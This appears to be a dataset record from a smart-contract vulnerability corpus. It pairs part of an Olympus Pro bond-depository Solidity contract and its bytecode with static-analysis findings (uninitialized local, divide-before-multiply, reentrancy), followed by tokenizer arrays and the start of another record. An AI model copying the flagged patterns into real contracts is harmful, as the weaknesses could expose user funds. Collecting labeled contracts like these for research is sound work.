_fee uint */ function payoutFor( uint _value ) public view returns ( uint _payout, uint _fee) { if(feeInPayout) { uint total = FixedPoint.fraction( _value, bondPrice() ).decode112with18().div( 1e11 ); _fee = total.mul( currentOlympusFee() ).div( 1e6 ); _payout = total.sub(_fee); } else { _fee = _value.mul( currentOlympusFee() ).div( 1e6 ); _payout = FixedPoint.fraction( customTreasury.valueOfToken(address(principalToken), _value.sub(_fee)), bondPrice() ).decode112with18().div( 1e11 ); } } /** * @notice calculate current ratio of debt to payout token supply * @notice protocols using Olympus Pro should be careful when quickly adding large %s to total supply * @return debtRatio_ uint */ function debtRatio() public view returns ( uint debtRatio_ ) { debtRatio_ = FixedPoint.fraction( currentDebt().mul( 10 ** payoutToken.decimals() ), payoutToken.totalSupply() ).decode112with18().div( 1e18 ); } /** * @notice calculate debt factoring in decay * @return uint */ function currentDebt() public view returns ( uint ) { return totalDebt.sub( debtDecay() ); } /** * @notice amount to decay total debt by * @return decay_ uint */ function debtDecay() public view returns ( uint decay_ ) { uint blocksSinceLast = block.number.sub( lastDecay ); decay_ = totalDebt.mul( blocksSinceLast ).div( terms.vestingTerm ); if ( decay_ > totalDebt ) { decay_ = totalDebt; } } /** * @notice calculate how far into vesting a depositor is * @param _depositor address * @return percentVested_ uint */ function percentVestedFor( address _depositor ) public view returns ( uint percentVested_ ) { Bond memory bond = bondInfo[ _depositor ]; uint blocksSinceLast = block.number.sub( bond.lastBlock ); uint vesting = bond.vesting; if ( vesting > 0 ) { percentVested_ = blocksSinceLast.mul( 10000 ).div( vesting ); } else { percentVested_ = 0; } } /** * @notice calculate amount of payout token available for claim by depositor * @param _depositor address * @return pendingPayout_ uint */ function pendingPayoutFor( address _depositor ) external view returns ( uint pendingPayout_ ) { uint percentVested = percentVestedFor( _depositor ); uint payout = bondInfo[ _depositor ].payout; if ( percentVested >= 10000 ) { pendingPayout_ = payout; } else { pendingPayout_ = payout.mul( percentVested ).div( 10000 ); } } /** * @notice current fee Olympus takes of each bond * @return currentFee_ uint */ function currentOlympusFee() public view returns( uint currentFee_ ) { uint tierLength = feeTiers.length; for(uint i; i < tierLength; i++) { if(totalPrincipalBonded < feeTiers[i].tierCeilings || i == tierLength - 1 ) { return feeTiers[i].fees; } } } }
0x608060405234801561001057600080fd5b506004361061018e5760003560e01c80637cbe044c116100de578063cea55f5711610097578063e0176de811610071578063e0176de8146106c8578063e392a262146106e6578063f5c2ab5b14610704578063fc7b9c18146107225761018e565b8063cea55f5714610652578063d502562514610670578063d7ccfb0b146106aa5761018e565b80637cbe044c146104855780638dbdbe6d146104a357806395a2251f1461050f578063a50603b214610567578063a9bc6b71146105c7578063cd1234b3146105e55761018e565b80633bfdd7de1161014b5780634799afda116101255780634799afda146103a8578063507930ec146103c6578063759076e51461041e5780637927ebf81461043c5761018e565b80633bfdd7de146102e45780633f0fb92f14610328578063451ee4a11461036c5761018e565b806301b88ee8146101935780630505c8c9146101eb5780630a7484891461021f5780631a3d00681461023d5780631e321a0f1461028b5780632bab6bde146102c6575b600080fd5b6101d5600480360360208110156101a957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610740565b6040518082815260200191505060405180910390f35b6101f36107d7565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102276107fb565b6040518082815260200191505060405180910390f35b6102896004803603608081101561025357600080fd5b81019080803515159060200190929190803590602001909291908035906020019092919080359060200190929190505050610851565b005b6102c4600480360360408110156102a157600080fd5b81019080803560ff16906020019092919080359060200190929190505050610a30565b005b6102ce610c4f565b6040518082815260200191505060405180910390f35b610326600480360360208110156102fa57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c55565b005b61036a6004803603602081101561033e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d93565b005b610374610e98565b6040518086151581526020018581526020018481526020018381526020018281526020019550505050505060405180910390f35b6103b0610ec9565b6040518082815260200191505060405180910390f35b610408600480360360208110156103dc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f4f565b6040518082815260200191505060405180910390f35b610426611035565b6040518082815260200191505060405180910390f35b6104686004803603602081101561045257600080fd5b8101908080359060200190929190505050611058565b604051808381526020018281526020019250505060405180910390f35b61048d611265565b6040518082815260200191505060405180910390f35b6104f9600480360360608110156104b957600080fd5b810190808035906020019092919080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061126b565b6040518082815260200191505060405180910390f35b6105516004803603602081101561052557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611bb7565b6040518082815260200191505060405180910390f35b6105c5600480360360c081101561057d57600080fd5b81019080803590602001909291908035906020019092919080359060200190929190803590602001909291908035906020019092919080359060200190929190505050611f62565b005b6105cf6120f7565b6040518082815260200191505060405180910390f35b610627600480360360208110156105fb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506121ca565b6040518085815260200184815260200183815260200182815260200194505050505060405180910390f35b61065a6121fa565b6040518082815260200191505060405180910390f35b61067861238c565b604051808681526020018581526020018481526020018381526020018281526020019550505050505060405180910390f35b6106b26123b0565b6040518082815260200191505060405180910390f35b6106d06124b7565b6040518082815260200191505060405180910390f35b6106ee61258b565b6040518082815260200191505060405180910390f35b61070c6125e7565b6040518082815260200191505060405180910390f35b61072a6125ed565b6040518082815260200191505060405180910390f35b60008061074c83610f4f565b90506000601260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000154905061271082106107a6578092506107d0565b6107cd6127106107bf84846125f390919063ffffffff16565b61267990919063ffffffff16565b92505b5050919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600061084c610836620f4240610828610812610ec9565b61081a6123b0565b6125f390919063ffffffff16565b61267990919063ffffffff16565b61083e6123b0565b6126c390919063ffffffff16565b905090565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610912576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b61093f6103e8610931601e6007600001546125f390919063ffffffff16565b61267990919063ffffffff16565b8311156109b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f496e6372656d656e7420746f6f206c617267650000000000000000000000000081525060200191505060405180910390fd5b6040518060a00160405280851515815260200184815260200183815260200182815260200143815250600c60008201518160000160006101000a81548160ff0219169083151502179055506020820151816001015560408201518160020155606082015181600301556080820151816004015590505050505050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610af1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60006002811115610afe57fe5b826002811115610b0a57fe5b1415610b7a57612710811015610b6b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806136086024913960400191505060405180910390fd5b80600760010181905550610c4b565b60016002811115610b8757fe5b826002811115610b9357fe5b1415610c20576103e8811115610c11576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f5061796f75742063616e6e6f742062652061626f766520312070657263656e7481525060200191505060405180910390fd5b80600760030181905550610c4a565b600280811115610c2c57fe5b826002811115610c3857fe5b1415610c4957806007600401819055505b5b5b5050565b60035481565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d16576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610d5057600080fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b7f00000000000000000000000015fddc0d0397117b46903c1f6c735b55755c2a3a73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610e54576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f4f6e6c79204f6c796d7075732044414f0000000000000000000000000000000081525060200191505060405180910390fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600c8060000160009054906101000a900460ff16908060010154908060020154908060030154908060040154905085565b600080601180549050905060005b81811015610f495760118181548110610eec57fe5b9060005260206000209060020201600001546002541080610f0f57506001820381145b15610f3c5760118181548110610f2157fe5b90600052602060002090600202016001015492505050610f4c565b8080600101915050610ed7565b50505b90565b6000610f59613523565b601260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060405180608001604052908160008201548152602001600182015481526020016002820154815260200160038201548152505090506000610fe682604001514361274b90919063ffffffff16565b905060008260200151905060008111156110285761102181611013612710856125f390919063ffffffff16565b61267990919063ffffffff16565b935061102d565b600093505b505050919050565b600061105361104261258b565b60045461274b90919063ffffffff16565b905090565b6000807f0000000000000000000000000000000000000000000000000000000000000000156111015760006110b364174876e8006110a56110a08761109b6123b0565b612795565b612a76565b61267990919063ffffffff16565b90506110e4620f42406110d66110c7610ec9565b846125f390919063ffffffff16565b61267990919063ffffffff16565b91506110f9828261274b90919063ffffffff16565b925050611260565b611130620f4240611122611113610ec9565b866125f390919063ffffffff16565b61267990919063ffffffff16565b905061125d64174876e80061124f61124a7f0000000000000000000000009cddbf3e93d4625af6c2347c9c5ae9b9c1fbb9e573ffffffffffffffffffffffffffffffffffffffff1663d1b317e57f000000000000000000000000e2f2a5c287993345a840db3b0845fbc70f5935a56111b1888b61274b90919063ffffffff16565b6040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060206040518083038186803b15801561120257600080fd5b505afa158015611216573d6000803e3d6000fd5b505050506040513d602081101561122c57600080fd5b81019080805190602001909291905050506112456123b0565b612795565b612a76565b61267990919063ffffffff16565b91505b915091565b60025481565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561130f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f496e76616c69642061646472657373000000000000000000000000000000000081525060200191505060405180910390fd5b611317612ab2565b60006113216107fb565b90508084101561137c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806135e56023913960400191505060405180910390fd5b60007f0000000000000000000000009cddbf3e93d4625af6c2347c9c5ae9b9c1fbb9e573ffffffffffffffffffffffffffffffffffffffff1663d1b317e57f000000000000000000000000e2f2a5c287993345a840db3b0845fbc70f5935a5886040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060206040518083038186803b15801561142d57600080fd5b505afa158015611441573d6000803e3d6000fd5b505050506040513d602081101561145757600080fd5b810190808051906020019092919050505090506000807f0000000000000000000000000000000000000000000000000000000000000000156114a95761149c83611058565b80925081935050506114d0565b6114b288611058565b80925081935050506114cd818961274b90919063ffffffff16565b97505b60647f000000000000000000000000a3bed4e1c75d00fa6f4e5e6922db7261b5e9acd273ffffffffffffffffffffffffffffffffffffffff1663313ce5676040518163ffffffff1660e01b815260040160206040518083038186803b15801561153857600080fd5b505afa15801561154c573d6000803e3d6000fd5b505050506040513d602081101561156257600080fd5b810190808051906020019092919050505060ff16600a0a8161158057fe5b048210156115f6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600e8152602001807f426f6e6420746f6f20736d616c6c00000000000000000000000000000000000081525060200191505060405180910390fd5b6115fe6124b7565b821115611673576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600e8152602001807f426f6e6420746f6f206c6172676500000000000000000000000000000000000081525060200191505060405180910390fd5b611688836004546126c390919063ffffffff16565b600481905550600760040154600454111561170b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f4d6178206361706163697479207265616368656400000000000000000000000081525060200191505060405180910390fd5b604051806080016040528061176b84601260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001546126c390919063ffffffff16565b815260200160076001015481526020014381526020016117896107fb565b815250601260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000820151816000015560208201518160010155604082015181600201556060820151816003015590505061180b886002546126c390919063ffffffff16565b600281905550611826826003546126c390919063ffffffff16565b600381905550611841826006546126c390919063ffffffff16565b6006819055507f000000000000000000000000000000000000000000000000000000000000000015611985577f0000000000000000000000009cddbf3e93d4625af6c2347c9c5ae9b9c1fbb9e573ffffffffffffffffffffffffffffffffffffffff16630b04f9186118bc83856126c390919063ffffffff16565b6040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b1580156118f257600080fd5b505af1158015611906573d6000803e3d6000fd5b50505050600081146119805761197f600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16827f000000000000000000000000a3bed4e1c75d00fa6f4e5e6922db7261b5e9acd273ffffffffffffffffffffffffffffffffffffffff16612add9092919063ffffffff16565b5b611a89565b7f0000000000000000000000009cddbf3e93d4625af6c2347c9c5ae9b9c1fbb9e573ffffffffffffffffffffffffffffffffffffffff16630b04f918836040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b1580156119f857600080fd5b505af1158015611a0c573d6000803e3d6000fd5b5050505060008114611a8857611a8733600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16837f000000000000000000000000e2f2a5c287993345a840db3b0845fbc70f5935a573ffffffffffffffffffffffffffffffffffffffff16612b7f909392919063ffffffff16565b5b5b611af6337f0000000000000000000000009cddbf3e93d4625af6c2347c9c5ae9b9c1fbb9e58a7f000000000000000000000000e2f2a5c287993345a840db3b0845fbc70f5935a573ffffffffffffffffffffffffffffffffffffffff16612b7f909392919063ffffffff16565b7fb7ce5a2d90f1705ca02547b0eb827724683e0df3b809477ae4326d0eefed0bc08883611b31600760010154436126c390919063ffffffff16565b60405180848152602001838152602001828152602001935050505060405180910390a17f2cb17bd1fd2a1fecfefae2de1e6a59194abaa62179652924ccdca01617f0bf16611b7d612c40565b611b856121fa565b604051808381526020018281526020019250505060405180910390a1611ba9612d65565b819450505050509392505050565b6000611bc1613523565b601260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060405180608001604052908160008201548152602001600182015481526020016002820154815260200160038201548152505090506000611c4084610f4f565b90506127108110611d6c57601260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008082016000905560018201600090556002820160009055600382016000905550507f51c99f515c87b0d95ba97f616edd182e8f161c4932eac17c6fefe9dab58b77b18483600001516000604051808473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828152602001935050505060405180910390a1611d5e8483600001517f000000000000000000000000a3bed4e1c75d00fa6f4e5e6922db7261b5e9acd273ffffffffffffffffffffffffffffffffffffffff16612add9092919063ffffffff16565b816000015192505050611f5d565b6000611d99612710611d8b8486600001516125f390919063ffffffff16565b61267990919063ffffffff16565b90506040518060800160405280611dbd83866000015161274b90919063ffffffff16565b8152602001611def611ddc86604001514361274b90919063ffffffff16565b866020015161274b90919063ffffffff16565b81526020014381526020018460600151815250601260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082015181600001556020820151816001015560408201518160020155606082015181600301559050507f51c99f515c87b0d95ba97f616edd182e8f161c4932eac17c6fefe9dab58b77b18582601260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000154604051808473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828152602001935050505060405180910390a1611f5685827f000000000000000000000000a3bed4e1c75d00fa6f4e5e6922db7261b5e9acd273ffffffffffffffffffffffffffffffffffffffff16612add9092919063ffffffff16565b8093505050505b919050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612023576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600061202d611035565b14612083576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806135a36021913960400191505060405180910390fd5b6040518060a0016040528087815260200186815260200185815260200184815260200183815250600760008201518160000155602082015181600101556040820151816002015560608201518160030155608082015181600401559050508060048190555043600581905550505050505050565b60007f0000000000000000000000005a5b49dcf339bc0d5dac1736ec95a85ed4b4842f73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146121ba576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f4f6e6c79207375627369647920636f6e74726f6c6c657200000000000000000081525060200191505060405180910390fd5b6006549050600060068190555090565b60126020528060005260406000206000915090508060000154908060010154908060020154908060030154905084565b6000612387670de0b6b3a76400006123796123746122ce7f000000000000000000000000a3bed4e1c75d00fa6f4e5e6922db7261b5e9acd273ffffffffffffffffffffffffffffffffffffffff1663313ce5676040518163ffffffff1660e01b815260040160206040518083038186803b15801561227757600080fd5b505afa15801561228b573d6000803e3d6000fd5b505050506040513d60208110156122a157600080fd5b810190808051906020019092919050505060ff16600a0a6122c0611035565b6125f390919063ffffffff16565b7f000000000000000000000000a3bed4e1c75d00fa6f4e5e6922db7261b5e9acd273ffffffffffffffffffffffffffffffffffffffff166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b15801561233457600080fd5b505afa158015612348573d6000803e3d6000fd5b505050506040513d602081101561235e57600080fd5b8101908080519060200190929190505050612795565b612a76565b61267990919063ffffffff16565b905090565b60078060000154908060010154908060020154908060030154908060040154905085565b600061249c61246c60057f000000000000000000000000a3bed4e1c75d00fa6f4e5e6922db7261b5e9acd273ffffffffffffffffffffffffffffffffffffffff1663313ce5676040518163ffffffff1660e01b815260040160206040518083038186803b15801561242057600080fd5b505afa158015612434573d6000803e3d6000fd5b505050506040513d602081101561244a57600080fd5b810190808051906020019092919050505060ff1661274b90919063ffffffff16565b600a0a61248e61247a6121fa565b6007600001546125f390919063ffffffff16565b61267990919063ffffffff16565b90506007600201548110156124b45760076002015490505b90565b6000612586620186a06125786007600301547f000000000000000000000000a3bed4e1c75d00fa6f4e5e6922db7261b5e9acd273ffffffffffffffffffffffffffffffffffffffff166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b15801561252f57600080fd5b505afa158015612543573d6000803e3d6000fd5b505050506040513d602081101561255957600080fd5b81019080805190602001909291905050506125f390919063ffffffff16565b61267990919063ffffffff16565b905090565b6000806125a36005544361274b90919063ffffffff16565b90506125d16007600101546125c3836004546125f390919063ffffffff16565b61267990919063ffffffff16565b91506004548211156125e35760045491505b5090565b60055481565b60045481565b6000808314156126065760009050612673565b600082840290508284828161261757fe5b041461266e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806135c46021913960400191505060405180910390fd5b809150505b92915050565b60006126bb83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612ecb565b905092915050565b600080828401905083811015612741576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600061278d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612f91565b905092915050565b61279d61354b565b600082116127f6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602681526020018061357d6026913960400191505060405180910390fd5b600083141561283457604051806020016040528060007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff168152509050612a70565b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff71ffffffffffffffffffffffffffffffffffff16831161296d57600082607060ff1685901b8161288157fe5b0490507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff16811115612938576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f4669786564506f696e743a3a6672616374696f6e3a206f766572666c6f77000081525060200191505060405180910390fd5b6040518060200160405280827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff16815250915050612a70565b6000612989846e01000000000000000000000000000085613051565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff16811115612a3f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f4669786564506f696e743a3a6672616374696f6e3a206f766572666c6f77000081525060200191505060405180910390fd5b6040518060200160405280827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff168152509150505b92915050565b60006612725dd1d243ab82600001517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1681612aaa57fe5b049050919050565b612ace612abd61258b565b60045461274b90919063ffffffff16565b60048190555043600581905550565b612b7a8363a9059cbb60e01b8484604051602401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050613113565b505050565b612c3a846323b872dd60e01b858585604051602401808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050613113565b50505050565b6000612d2c612cfc60057f000000000000000000000000a3bed4e1c75d00fa6f4e5e6922db7261b5e9acd273ffffffffffffffffffffffffffffffffffffffff1663313ce5676040518163ffffffff1660e01b815260040160206040518083038186803b158015612cb057600080fd5b505afa158015612cc4573d6000803e3d6000fd5b505050506040513d6020811015612cda57600080fd5b810190808051906020019092919050505060ff1661274b90919063ffffffff16565b600a0a612d1e612d0a6121fa565b6007600001546125f390919063ffffffff16565b61267990919063ffffffff16565b9050600760020154811015612d48576007600201549050612d62565b600060076002015414612d615760006007600201819055505b5b90565b6000612d84600c60030154600c600401546126c390919063ffffffff16565b90506000600c6001015414158015612d9c5750804310155b15612ec85760006007600001549050600c60000160009054906101000a900460ff1615612e0b57612de0600c600101546007600001546126c390919063ffffffff16565b600760000181905550600c6002015460076000015410612e06576000600c600101819055505b612e4f565b612e28600c6001015460076000015461274b90919063ffffffff16565b600760000181905550600c6002015460076000015411612e4e576000600c600101819055505b5b43600c600401819055507fb923e581a0f83128e9e1d8297aa52b18d6744310476e0b54509c054cd7a93b2a81600760000154600c60010154600c60000160009054906101000a900460ff1660405180858152602001848152602001838152602001821515815260200194505050505060405180910390a1505b50565b60008083118290612f77576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612f3c578082015181840152602081019050612f21565b50505050905090810190601f168015612f695780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581612f8357fe5b049050809150509392505050565b600083831115829061303e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015613003578082015181840152602081019050612fe8565b50505050905090810190601f1680156130305780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b60008060006130608686613202565b915091506000848061306e57fe5b868809905082811115613082576001820391505b80830392508482106130fc576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f46756c6c4d6174683a3a6d756c4469763a206f766572666c6f7700000000000081525060200191505060405180910390fd5b613107838387613255565b93505050509392505050565b6060613175826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c65648152508573ffffffffffffffffffffffffffffffffffffffff166132f29092919063ffffffff16565b90506000815111156131fd5780806020019051602081101561319657600080fd5b81019080805190602001909291905050506131fc576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a81526020018061362c602a913960400191505060405180910390fd5b5b505050565b60008060007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8061322f57fe5b8486099050838502925082810391508281101561324d576001820391505b509250929050565b600080826000038316905080838161326957fe5b04925080858161327557fe5b049450600181826000038161328657fe5b04018402850194506000600190508084026002038102905080840260020381029050808402600203810290508084026002038102905080840260020381029050808402600203810290508084026002038102905080840260020381029050808602925050509392505050565b6060613301848460008561330a565b90509392505050565b606061331585613510565b613387576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f416464726573733a2063616c6c20746f206e6f6e2d636f6e747261637400000081525060200191505060405180910390fd5b600060608673ffffffffffffffffffffffffffffffffffffffff1685876040518082805190602001908083835b602083106133d757805182526020820191506020810190506020830392506133b4565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d8060008114613439576040519150601f19603f3d011682016040523d82523d6000602084013e61343e565b606091505b50915091508115613453578092505050613508565b6000815111156134665780518082602001fd5b836040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156134cd5780820151818401526020810190506134b2565b50505050905090810190601f1680156134fa5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b949350505050565b600080823b905060008111915050919050565b6040518060800160405280600081526020016000815260200160008152602001600081525090565b604051806020016040528060007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff168152509056fe4669786564506f696e743a3a6672616374696f6e3a206469766973696f6e206279207a65726f44656274206d757374206265203020666f7220696e697469616c697a6174696f6e536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77536c697070616765206c696d69743a206d6f7265207468616e206d617820707269636556657374696e67206d757374206265206c6f6e676572207468616e20333620686f7572735361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564a26469706673582212207cb53c88ecec9dfdd35a46205abf5d87d65edd1e744dff1ab354c0e2ce4a563e64736f6c63430007050033
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 2063, 2575, 2094, 20842, 2620, 2094, 2581, 2575, 2487, 2063, 2581, 22907, 3207, 2487, 2278, 2620, 23352, 2546, 2683, 17134, 2549, 2050, 16703, 2549, 2546, 2620, 3207, 2692, 2094, 2509, 2063, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 16798, 2475, 1011, 5890, 1011, 2656, 1008, 1013, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1021, 1012, 1019, 1025, 3075, 3647, 18900, 2232, 1063, 3853, 5587, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 21318, 3372, 17788, 2575, 1039, 1027, 1037, 1009, 1038, 1025, 5478, 1006, 1039, 1028, 1027, 1037, 1010, 1000, 3647, 18900, 2232, 1024, 2804, 2058, 12314, 1000, 1007, 1025, 2709, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,505
0x96e6e56C0B3121Dca543B11f82B6259821b62D1C
// SPDX-License-Identifier: MIT pragma solidity ^0.6.0; // /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * 